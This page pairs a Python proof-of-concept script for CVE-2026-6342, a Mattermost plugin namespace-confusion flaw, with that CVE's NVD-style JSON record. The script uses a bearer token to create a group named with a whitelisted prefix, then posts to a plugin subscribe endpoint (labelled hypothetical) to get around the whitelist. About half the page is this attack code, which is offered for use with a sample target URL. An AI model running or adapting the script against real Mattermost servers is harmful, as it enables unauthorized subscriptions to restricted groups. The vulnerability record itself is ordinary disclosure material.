CVE-2026-6342

# Conceptual Proof of Concept for CVE-2026-6342 # This script demonstrates the namespace confusion vulnerability import requests def exploit(target_url, auth_token, whitelisted_prefix): headers = {'Authorization': f'Bearer {auth_token}'} # Step 1: Create a malicious group sharing the prefix malicious_group_name = f"{whitelisted_prefix}_exploit" payload = { "name": malicious_group_name, "display_name": malicious_group_name, "type": "O" } print(f"[*] Attempting to create group: {malicious_group_name}") # API endpoint to create a group create_resp = requests.post(f"{target_url}/api/v4/groups", json=payload, headers=headers) if create_resp.status_code == 201: group_id = create_resp.json().get('id') print(f"[+] Group created successfully with ID: {group_id}") # Step 2: Attempt to subscribe to restricted resources using the malicious group # Assuming a vulnerable plugin endpoint that checks prefix sub_payload = {"group_id": group_id} print(f"[*] Attempting to bypass whitelist check via prefix...") # This is a hypothetical endpoint for the vulnerable plugin exploit_resp = requests.post(f"{target_url}/plugins/vulnerable-plugin/api/v1/subscribe", json=sub_payload, headers=headers) if exploit_resp.status_code == 200: print("[+] Exploit successful! Subscription allowed via namespace confusion.") else: print("[-] Exploit failed. Server rejected the request.") else: print("[-] Failed to create group.") # Usage # exploit("https://mattermost.target.com", "user_token", "whitelisted_group")

{"cve": {"id": "CVE-2026-6342", "sourceIdentifier": "[email protected]", "published": "2026-05-18T08:16:14.717", "lastModified": "2026-05-18T17:32:38.127", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost Plugins versions <=11.5 11.1.5 10.13.11 11.3.4.0 fail to appropriately check for valid namespaces which allows plugin users to create subscriptions to groups that were not whitelisted via creating groups that share the same prefix as a whitelisted group. Mattermost Advisory ID: MMSA-2026-00601"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]"}]}}